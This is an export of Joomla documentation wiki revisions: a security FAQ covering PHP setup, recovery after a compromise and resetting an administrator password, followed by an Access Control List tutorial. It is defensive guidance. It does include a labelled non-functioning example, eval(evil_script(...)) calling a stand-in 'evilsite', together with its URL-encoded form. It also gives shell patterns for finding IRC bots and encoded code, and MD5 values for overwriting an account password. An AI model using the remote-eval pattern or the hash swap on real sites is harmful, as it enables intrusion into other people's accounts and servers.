Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62303</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=62303"/>
		<updated>2011-09-26T04:07:31Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
! Version 1.5&lt;br /&gt;
! Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
! Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
! Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
! Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
! Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
! Version 1.5&lt;br /&gt;
! Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
! Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
! Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
! Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
